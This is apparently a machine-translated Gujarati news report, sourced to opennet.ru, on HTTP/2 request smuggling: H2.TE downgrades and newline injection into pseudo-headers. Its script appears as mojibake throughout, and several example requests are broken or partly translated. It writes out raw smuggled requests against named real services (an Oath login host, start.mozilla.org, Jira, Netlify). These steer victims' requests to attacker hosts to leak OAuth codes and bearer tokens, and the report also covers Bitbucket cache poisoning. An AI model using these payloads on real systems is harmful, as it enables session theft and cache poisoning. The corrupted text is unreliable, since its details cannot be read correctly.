เชฌเซ€เชœเชพ เชนเซเชฎเชฒเชพเชจเชพ เชตเชฟเช•เชฒเซเชช (H2.TE)เชฎเชพเช‚ "เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—: เชšเช‚เช•เซเชก" เชนเซ‡เชกเชฐเชจเซ‡ เชฌเชฆเชฒเชตเชพเชจเซ‹ เชธเชฎเชพเชตเซ‡เชถ เชฅเชพเชฏ เช›เซ‡. HTTP/2 เชฎเชพเช‚ เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเซเช•เซ‹เชกเชฟเช‚เช— เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐเชจเซ‹ เช‰เชชเชฏเซ‹เช— เชธเซเชชเชทเซเชŸเซ€เช•เชฐเชฃ เชฆเซเชตเชพเชฐเชพ เชชเซเชฐเชคเชฟเชฌเช‚เชงเชฟเชค เช›เซ‡ เช…เชจเซ‡ เชคเซ‡เชจเซ€ เชธเชพเชฅเซ‡เชจเซ€ เชตเชฟเชจเช‚เชคเซ€เช“เชจเซ‡ เช–เซ‹เชŸเซ€ เช—เชฃเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡. เช† เชนเซ‹เชตเชพ เช›เชคเชพเช‚, เช•เซ‡เชŸเชฒเชพเช• เชซเซเชฐเชจเซเชŸเชเชจเซเชก เช…เชฎเชฒเซ€เช•เชฐเชฃเซ‹ เช† เชœเชฐเซ‚เชฐเชฟเชฏเชพเชคเชจเซ‡ เชงเซเชฏเชพเชจเชฎเชพเช‚ เชฒเซ‡เชคเชพ เชจเชฅเซ€ เช…เชจเซ‡ HTTP/2 เชฎเชพเช‚ เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเซเช•เซ‹เชกเชฟเช‚เช— เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡, เชœเซ‡ เชธเชฎเชพเชจ HTTP เชนเซ‡เชกเชฐเชฎเชพเช‚ เชฐเซ‚เชชเชพเช‚เชคเชฐเชฟเชค เชฅเชพเชฏ เช›เซ‡. เชœเซ‹ เชคเซเชฏเชพเช‚ "เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—" เชนเซ‡เชกเชฐ เชนเซ‹เชฏ, เชคเซ‹ เชฌเซ‡เช•เชเชจเซเชก เชคเซ‡เชจเซ‡ เช‰เชšเซเชš เช…เช—เซเชฐเชคเชพ เชคเชฐเซ€เช•เซ‡ เชฒเชˆ เชถเช•เซ‡ เช›เซ‡ เช…เชจเซ‡ "{size}\r\n{block" เชซเซ‹เชฐเซเชฎเซ‡เชŸเชฎเชพเช‚ เชตเชฟเชตเชฟเชง เช•เชฆเชจเชพ เชฌเซเชฒเซ‹เช•เซเชธเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ "เชšเช‚เช•เซเชก" เชฎเซ‹เชกเชฎเชพเช‚ เชŸเซเช•เชกเซ‡ เชŸเซเช•เชกเซ‡ เชกเซ‡เชŸเชพเชจเซ‡ เชชเชพเชฐเซเชธ เช•เชฐเซ€ เชถเช•เซ‡ เช›เซ‡. }\r\n{size} \r\n{block}\r\n0", เชเช•เช‚เชฆเชฐ เช•เชฆ เชฆเซเชตเชพเชฐเชพ เชชเซเชฐเชพเชฐเช‚เชญเชฟเช• เชตเชฟเชญเชพเชœเชจ เชนเซ‹เชตเชพ เช›เชคเชพเช‚.

เช†เชตเชพ เช…เช‚เชคเชฐเชจเซ€ เชนเชพเชœเชฐเซ€ เชตเซ‡เชฐเชพเช‡เชเชจเชจเชพ เช‰เชฆเชพเชนเชฐเชฃ เชฆเซเชตเชพเชฐเชพ เชฆเชฐเซเชถเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€. เชธเชฎเชธเซเชฏเชพ เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เชชเซ‹เชฐเซเชŸเชฒ เช…เชจเซ‡ เช•เชจเซเชŸเซ‡เชจเซเชŸ เชฎเซ‡เชจเซ‡เชœเชฎเซ‡เชจเซเชŸ เชธเชฟเชธเซเชŸเชฎเชฅเซ€ เชธเช‚เชฌเช‚เชงเชฟเชค เช›เซ‡, เชœเซ‡เชจเซ‹ เช‰เชชเชฏเซ‹เช— เชนเชซเชฟเช‚เช—เซเชŸเชจ เชชเซ‹เชธเซเชŸ เช…เชจเซ‡ เชเชจเซเช—เซ‡เชœเซ‡เชŸ เชœเซ‡เชตเซ€ เชธเชพเช‡เชŸเซเชธ เชชเชฐ เชชเชฃ เชฅเชพเชฏ เช›เซ‡. เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเซเช•เซ‹เชกเชฟเช‚เช— 0 GET /oops HTTP/1.1 เชนเซ‹เชธเซเชŸ: psres.net เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ: 10 เชฆเซเชตเชพเชฐเชพ เช•เซเชฒเชพเชฏเชจเซเชŸเชจเซ€ เชตเชฟเชจเช‚เชคเซ€ x=

เชฌเซ‡เช•เชเชจเซเชก เชชเชฐ HTTP/1.1 เชตเชฟเชจเช‚เชคเซ€ เชฎเซ‹เช•เชฒเชตเชพเชฎเชพเช‚ เชชเชฐเชฟเชฃเชฎเซเชฏเซเช‚: POST /identity/XUI HTTP/1.1 เชนเซ‹เชธเซเชŸ: id.b2b.oath.com เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ: 66 เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—: chunked 0 GET /oops HTTP/1.1 เชนเซ‹เชธเซเชŸ: psres. เชšเซ‹เช–เซเช–เซ€ เชธเชพเชฎเช—เซเชฐเซ€- เชฒเช‚เชฌเชพเชˆ: 10x=

เชฌเซ‡เช•เชเชจเซเชกเซ‡, เชฌเชฆเชฒเชพเชฎเชพเช‚, "เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ" เชนเซ‡เชกเชฐเชจเซ‡ เช…เชตเช—เชฃเซเชฏเซเช‚ เช…เชจเซ‡ "เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—: เชšเช‚เช•เซเชก" เชชเชฐ เช†เชงเชพเชฐเชฟเชค เช‡เชจ-เชธเซเชŸเซเชฐเซ€เชฎ เชตเชฟเชญเชพเชœเชจ เช•เชฐเซเชฏเซเช‚. เชตเซเชฏเชตเชนเชพเชฐเชฎเชพเช‚, เชนเซเชฎเชฒเชพเช เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเชจเซ€ เชตเชฟเชจเช‚เชคเซ€เช“เชจเซ‡ เชคเซ‡เชฎเชจเซ€ เชตเซ‡เชฌเชธเชพเช‡เชŸ เชชเชฐ เชฐเซ€เชกเชพเชฏเชฐเซ‡เช•เซเชŸ เช•เชฐเชตเชพเชจเซเช‚ เชถเช•เซเชฏ เชฌเชจเชพเชตเซเชฏเซเช‚, เชœเซ‡เชฎเชพเช‚ OAuth เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เชธเช‚เชฌเช‚เชงเชฟเชค เชตเชฟเชจเช‚เชคเซ€เช“เชจเซ‡ เช…เชŸเช•เชพเชตเชตเซ€, เชœเซ‡เชจเชพเช‚ เชชเชฐเชฟเชฎเชพเชฃเซ‹ เชฐเซ‡เชซเชฐเชฐ เชนเซ‡เชกเชฐเชฎเชพเช‚ เชฆเชฐเซเชถเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเชพ เชนเชคเชพ, เชคเซ‡เชฎเชœ เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เชธเชคเซเชฐเชจเซเช‚ เช…เชจเซเช•เชฐเชฃ เช•เชฐเชตเซเช‚ เช…เชจเซ‡ เช“เชณเช–เชชเชคเซเชฐ เชฎเซ‹เช•เชฒเชตเชพ เชฎเชพเชŸเซ‡ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเชจเซ€ เชธเชฟเชธเซเชŸเชฎเชจเซ‡ เชŸเซเชฐเชฟเช—เชฐ เช•เชฐเชตเซเช‚. เชนเซเชฎเชฒเชพเช–เซ‹เชฐเชจเชพ เชฏเชœเชฎเชพเชจเชจเซ‡. GET /b2blanding/show/oops HTTP/1.1 เชนเซ‹เชธเซเชŸ: psres.net เชฐเซ‡เชซเชฐเชฐ: https://id.b2b.oath.com/?โ€ฆ&code=secret GET / HTTP/1.1 เชนเซ‹เชธเซเชŸ: psres.net เช…เชงเชฟเช•เซƒเชคเชคเชพ: เชฌเซ‡เชฐเชฐ eyJhcGwiOiJIUzI1Gi1sInkโ€ฆcCII6

เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเซเช•เซ‹เชกเชฟเช‚เช— เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐเชจเซ‡ เชธเซเชชเชทเซเชŸ เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเชคเชพ เชจเชฅเซ€ เชคเซ‡เชตเชพ HTTP/2 เช…เชฎเชฒเซ€เช•เชฐเชฃเซ‹ เชชเชฐ เชนเซเชฎเชฒเซ‹ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡, เชฌเซ€เชœเซ€ เชชเชฆเซเชงเชคเชฟ เชชเซเชฐเชธเซเชคเชพเชตเชฟเชค เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เช›เซ‡ เชœเซ‡เชฎเชพเช‚ "เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—" เชนเซ‡เชกเชฐเชจเซ‡ เชจเชตเชพ เชฒเชพเช‡เชจ เช•เซ‡เชฐเซ‡เช•เซเชŸเชฐ เชฆเซเชตเชพเชฐเชพ เช…เชฒเช— เช•เชฐเชพเชฏเซ‡เชฒเชพ เช…เชจเซเชฏ เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐ เชธเชพเชฅเซ‡ เชœเซ‹เชกเซ€เชจเซ‡ เชคเซ‡เชจเซ‡ เชฌเชฆเชฒเชตเชพเชจเซ‹ เชธเชฎเชพเชตเซ‡เชถ เชฅเชพเชฏ เช›เซ‡. เชœเซเชฏเชพเชฐเซ‡ เช† เช•เชฟเชธเซเชธเชพเชฎเชพเช‚ HTTP/1.1 เชฎเชพเช‚ เชฐเซ‚เชชเชพเช‚เชคเชฐเชฟเชค เชฅเชพเชฏ เช›เซ‡ เชคเซเชฏเชพเชฐเซ‡ เชฌเซ‡ เช…เชฒเช—-เช…เชฒเช— HTTP เชนเซ‡เชกเชฐ เชฌเชจเชพเชตเซ‡ เช›เซ‡).

เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, Atlassian Jira เช…เชจเซ‡ Netlify CDN (Firefox เชฎเชพเช‚ เชฎเซ‹เชเชฟเชฒเชพ เชธเซเชŸเชพเชฐเซเชŸ เชชเซ‡เชœ เช†เชชเชตเชพ เชฎเชพเชŸเซ‡ เชตเชชเชฐเชพเชฏ เช›เซ‡) เช† เชธเชฎเชธเซเชฏเชพเชฅเซ€ เชชเซเชฐเชญเชพเชตเชฟเชค เชฅเชฏเชพ เชนเชคเชพ. เช–เชพเชธ เช•เชฐเซ€เชจเซ‡, HTTP/2 เชตเชฟเชจเช‚เชคเซ€ :method POST :path / :authority start.mozilla.org foo b\r\n เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—: 0\r\n \r\n GET / HTTP/1.1\r\n เชนเซ‹เชธเซเชŸ : evil-netlify-domain\r\n เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ: 5\r\n \r\nx=

เชชเชฐเชฟเชฃเชพเชฎเซ‡ HTTP/1.1 POST/HTTP/1.1 เชตเชฟเชจเช‚เชคเซ€ เชฌเซ‡เช•เชเชจเซเชก เชชเชฐ เชฎเซ‹เช•เชฒเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€\r\n เชนเซ‹เชธเซเชŸ: start.mozilla.org\r\n Foo: b\r\n เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—: chunked\r\n เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n เชนเซ‹เชธเซเชŸ: evil-netlify-domain\r\n เชธเชพเชฎเช—เซเชฐเซ€-เชฒเช‚เชฌเชพเชˆ: 5\r\n \r \nx=

"เชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—" เชนเซ‡เชกเชฐเชจเซ‡ เชฌเชฆเชฒเชตเชพ เชฎเชพเชŸเซ‡เชจเซ‹ เชฌเซ€เชœเซ‹ เชตเชฟเช•เชฒเซเชช เชคเซ‡เชจเซ‡ เช…เชจเซเชฏ เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐเชจเชพ เชจเชพเชฎ เชธเชพเชฅเซ‡ เช…เชฅเชตเชพ เชตเชฟเชจเช‚เชคเซ€ เชชเชฆเซเชงเชคเชฟ เชธเชพเชฅเซ‡เชจเซ€ เชฒเชพเช‡เชจ เชธเชพเชฅเซ‡ เชœเซ‹เชกเชตเชพเชจเซ‹ เชนเชคเซ‹. เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชเชŸเชฒเชพเชธเชฟเชฏเชจ เชœเซ€เชฐเชพเชจเซ‡ เชเช•เซเชธเซ‡เชธ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡, เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐ เชจเชพเชฎ "foo: bar\r\ntransfer-encoding" เชฎเซ‚เชฒเซเชฏ "chunked" เชจเซ‡ เช•เชพเชฐเชฃเซ‡ HTTP เชนเซ‡เชกเชฐเซ‹ "foo: bar" เช…เชจเซ‡ "transfer-encoding: chunked" เช‰เชฎเซ‡เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเชพ. , เช…เชจเซ‡ เชธเซเชฏเซเชกเซ‹-เชนเซ‡เชกเชฐ ": เชชเชฆเซเชงเชคเชฟ" เชฎเซ‚เชฒเซเชฏเชจเซ‹ เช‰เชฒเซเชฒเซ‡เช– เช•เชฐเซ€เชจเซ‡ "GET/HTTP/1.1\r\nTransfer-encoding: chunked" เชจเซเช‚ เชญเชพเชทเชพเช‚เชคเชฐ "GET/HTTP/1.1\r\nเชŸเซเชฐเชพเชจเซเชธเชซเชฐ-เชเชจเช•เซ‹เชกเชฟเช‚เช—: chunked" เชฎเชพเช‚ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚.

เชธเชฎเชธเซเชฏเชพเชจเซ€ เช“เชณเช– เช•เชฐเชจเชพเชฐ เชธเช‚เชถเซ‹เชงเช•เซ‡ เชซเซเชฐเชจเซเชŸเชเชจเซเชก เชชเชฐ เชนเซเชฎเชฒเซ‹ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชตเชฟเชจเช‚เชคเซ€ เชŸเชจเชฒเชฟเช‚เช— เชŸเซ‡เช•เชจเชฟเช•เชจเซ‹ เชชเชฃ เชชเซเชฐเชธเซเชคเชพเชต เชฎเซ‚เช•เซเชฏเซ‹ เชนเชคเซ‹, เชœเซ‡เชฎเชพเช‚ เชฆเชฐเซ‡เช• IP เชธเชฐเชจเชพเชฎเซเช‚ เชฌเซ‡เช•เชเชจเซเชก เชธเชพเชฅเซ‡ เช…เชฒเช— เชœเซ‹เชกเชพเชฃ เชธเซเชฅเชพเชชเชฟเชค เช•เชฐเซ‡ เช›เซ‡ เช…เชจเซ‡ เชตเชฟเชตเชฟเชง เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเช“เชจเชพ เชŸเซเชฐเชพเชซเชฟเช•เชจเซ‡ เชฎเชฟเชถเซเชฐเชฟเชค เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเชคเซ‹ เชจเชฅเซ€. เชธเซ‚เชšเชฟเชค เชคเช•เชจเซ€เช• เช…เชจเซเชฏ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเช“เชจเซ€ เชตเชฟเชจเช‚เชคเซ€เช“เชฎเชพเช‚ เชฆเช–เชฒ เช•เชฐเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเชคเซ€ เชจเชฅเซ€, เชชเชฐเช‚เชคเซ เชถเซ‡เชฐ เช•เชฐเซ‡เชฒ เช•เซ‡เชถเชจเซ‡ เชเซ‡เชฐ เช•เชฐเชตเชพเชจเซเช‚ เชถเช•เซเชฏ เชฌเชจเชพเชตเซ‡ เช›เซ‡ เชœเซ‡ เช…เชจเซเชฏ เชตเชฟเชจเช‚เชคเซ€เช“เชจเซ€ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพเชจเซ‡ เช…เชธเชฐ เช•เชฐเซ‡ เช›เซ‡, เช…เชจเซ‡ เชธเซ‡เชตเชพเชจเซ€ เชฎเชพเชนเชฟเชคเซ€เชจเซ‡ เชซเซเชฐเชจเซเชŸเชเชจเซเชกเชฅเซ€ เชฌเซ‡เช•เชเชจเซเชกเชฎเชพเช‚ เชธเซเชฅเชพเชจเชพเช‚เชคเชฐเชฟเชค เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เช‰เชชเชฏเซ‹เช—เชฎเชพเช‚ เชฒเซ‡เชตเชพเชคเชพ เช†เช‚เชคเชฐเชฟเช• HTTP เชนเซ‡เชกเชฐเซ‹เชจเซ‡ เชฌเชฆเชฒเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡ ( เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เช†เชตเชพ เชนเซ‡เชกเชฐเซ‹เชฎเชพเช‚ เชซเซเชฐเชจเซเชŸ เชเชจเซเชก เชฌเชพเชœเซ เชชเชฐ เชชเซเชฐเชฎเชพเชฃเซ€เช•เชฐเชฃ เช•เชฐเชคเซ€ เชตเช–เชคเซ‡ เชตเชฐเซเชคเชฎเชพเชจ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เชตเชฟเชถเซ‡เชจเซ€ เชฎเชพเชนเชฟเชคเซ€ เชฌเซ‡เช•เชเชจเซเชกเชฎเชพเช‚ เชŸเซเชฐเชพเชจเซเชธเชฎเชฟเชŸ เช•เชฐเซ€ เชถเช•เชพเชฏ เช›เซ‡). เชตเซเชฏเชตเชนเชพเชฐเชฎเชพเช‚ เชชเชฆเซเชงเชคเชฟเชจเซ‡ เชฒเชพเช—เซ เช•เชฐเชตเชพเชจเชพ เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เช•เซ‡เชถ เชชเซ‹เชˆเชเชจเชฟเช‚เช—เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡, เชฌเซ€เชŸเชฌเช•เซ‡เชŸ เชธเซ‡เชตเชพเชฎเชพเช‚ เชชเซƒเชทเซเช เซ‹ เชชเชฐ เชจเชฟเชฏเช‚เชคเซเชฐเชฃ เชฎเซ‡เชณเชตเชตเซเช‚ เชถเช•เซเชฏ เชนเชคเซเช‚.

เชธเซ‹เชฐเซเชธ: opennet.ru

เชเช• เชŸเชฟเชชเซเชชเชฃเซ€ เช‰เชฎเซ‡เชฐเซ‹